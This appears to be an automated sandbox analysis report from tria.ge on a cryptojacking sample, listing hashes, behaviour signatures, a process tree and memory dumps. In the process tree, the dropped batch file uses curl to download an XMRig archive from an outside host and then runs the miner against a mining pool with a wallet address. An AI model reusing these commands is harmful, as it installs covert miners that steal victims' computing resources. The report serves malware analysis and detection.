Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Resubmissions

11/03/2024, 21:08

240311-zy7ywsed31 10

11/03/2024, 21:06

240311-zx53xagd73 10

11/03/2024, 21:02

240311-zvwrfsec3x 10

11/03/2024, 21:01

240311-ztxx5aeb9x 10

11/03/2024, 20:59

240311-zs72psgc56 10

11/03/2024, 20:57

240311-zrmpdaeb3v 10

11/03/2024, 20:56

240311-zqzbsagb66 10

11/03/2024, 20:55

240311-zqlexsgb55 10

11/03/2024, 20:54

240311-zp4j4sgb43 10

11/03/2024, 20:53

240311-zplz3agb32 10

Analysis

  • max time kernel
    1048s
  • max time network
    1059s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/03/2024, 20:53

General

  • Target

    test - Copy (12).exe

  • Size

    6KB

  • MD5

    4634098fe194204dc03f967cc0b19cd6

  • SHA1

    eaa58619c6cea9f148cec61ee504cd727b3e80d8

  • SHA256

    a1070b8803e4243699a44a77e60a199282814495bc3bd94759c07021c0a6c70c

  • SHA512

    64e97fac56a25daf99f8ee1a9f480acc8020d5da4eb96ea77022c9170f6300b7b5479fce86e3e7e088cdaabdf123b65872e09b0ae17f8f97ea2fe58b6ecf7a9d

  • SSDEEP

    96:2Fb158Vgo4CVvAXklfZT8kYl9RxxgAVNb8ICcGKzNt:oMV1vAX+8kYDRxbLh4s

Score
10/10

Malware Config

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\test - Copy (12).exe
    "C:\Users\Admin\AppData\Local\Temp\test - Copy (12).exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3484
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Dvd8eeTn.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5016
      • C:\Windows\system32\curl.exe
        curl -o "C:\xmrig\xmrig-6.21.1-gcc-win64.zip" https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip
        3⤵
          PID:3180
        • C:\Windows\system32\tar.exe
          tar -xf "C:\xmrig\xmrig-6.21.1-gcc-win64.zip"
          3⤵
            PID:4584
          • C:\xmrig\xmrig-6.21.1\xmrig.exe
            C:\xmrig\xmrig-6.21.1\xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --cpu-no-yield
            3⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            PID:4132
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4420 --field-trial-handle=3084,i,4016110471176367543,14287608422419064331,262144 --variations-seed-version /prefetch:8
        1⤵
          PID:1272
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4572 --field-trial-handle=3084,i,4016110471176367543,14287608422419064331,262144 --variations-seed-version /prefetch:8
          1⤵
            PID:968

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\Dvd8eeTn.bat

            Filesize

            421B

            MD5

            67d11b392feb0ad59fc11ff3e79dfeee

            SHA1

            7df5785988cb76c4893773614572c93baaa18717

            SHA256

            69bcf6c4c959410d5857ac219600cec68035bd92e708c0bf7318eece8d5acb9d

            SHA512

            50835d7dccb22cbf052a64ce2dd50df97f726b1d2044ab0e55ba42a2874601b6fe064f84659f89ce079627d147cf49d9548b24b2160a17783b934c6793507f11

          • C:\xmrig\xmrig-6.21.1-gcc-win64.zip

            Filesize

            1.4MB

            MD5

            71e097f2534dfa016622815f7a981152

            SHA1

            48e3b316a808d6d3f60a32b98e48ab1c2c578a3e

            SHA256

            9867164e962188fb33f639511f763a96f5a9033ba6256c489ab171f00c660b67

            SHA512

            23572ff6e595ec2ec4d2ddc31524be0652a581fc3d13be26c59ec612005fd935e7739d3ed59be883b030b49ccbc0aac4bd53aac4761a82dbd7708746fce822b8

          • C:\xmrig\xmrig-6.21.1\xmrig.exe

            Filesize

            5.3MB

            MD5

            af04b9b6981c093e6bcc182335b094a6

            SHA1

            9462b2fee164725b251540b5338bc7745b316f74

            SHA256

            25cec80a57b1b37e65011ba7a8e116cf92f1a60e55d2f081e3ef68fe3b3e15f4

            SHA512

            6d506b33a07e35c8d23bda2c36f636a607fc62e381ce204f540e0dcefa63f09b08f916455c8397dbda10c0a67b87eaa647128c02652b5adbe3184a4ed9e127bc

          • memory/3484-0-0x0000000000420000-0x0000000000428000-memory.dmp

            Filesize

            32KB

          • memory/3484-1-0x00007FF893B40000-0x00007FF894601000-memory.dmp

            Filesize

            10.8MB

          • memory/3484-23-0x00007FF893B40000-0x00007FF894601000-memory.dmp

            Filesize

            10.8MB

          • memory/4132-22-0x0000013B72620000-0x0000013B72640000-memory.dmp

            Filesize

            128KB

          • memory/4132-24-0x0000013B72670000-0x0000013B72690000-memory.dmp

            Filesize

            128KB

          • memory/4132-25-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-26-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-27-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-28-0x0000013B72890000-0x0000013B728B0000-memory.dmp

            Filesize

            128KB

          • memory/4132-29-0x0000013B74070000-0x0000013B74090000-memory.dmp

            Filesize

            128KB

          • memory/4132-30-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-31-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-32-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-33-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-34-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-35-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-36-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-37-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-38-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-39-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-40-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-41-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-42-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-43-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-44-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-45-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-46-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-47-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-48-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-49-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-50-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-51-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-52-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-53-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-54-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-55-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-57-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-58-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-59-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-60-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-61-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-62-0x0000013B72890000-0x0000013B728B0000-memory.dmp

            Filesize

            128KB

          • memory/4132-63-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-64-0x0000013B74070000-0x0000013B74090000-memory.dmp

            Filesize

            128KB

          • memory/4132-65-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-66-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-67-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-68-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-69-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-70-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-71-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-72-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-73-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-74-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-75-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-76-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-77-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-78-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-79-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-80-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-81-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-82-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-83-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-84-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-85-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-86-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-87-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-88-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-89-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-90-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB

          • memory/4132-91-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp

            Filesize

            11.0MB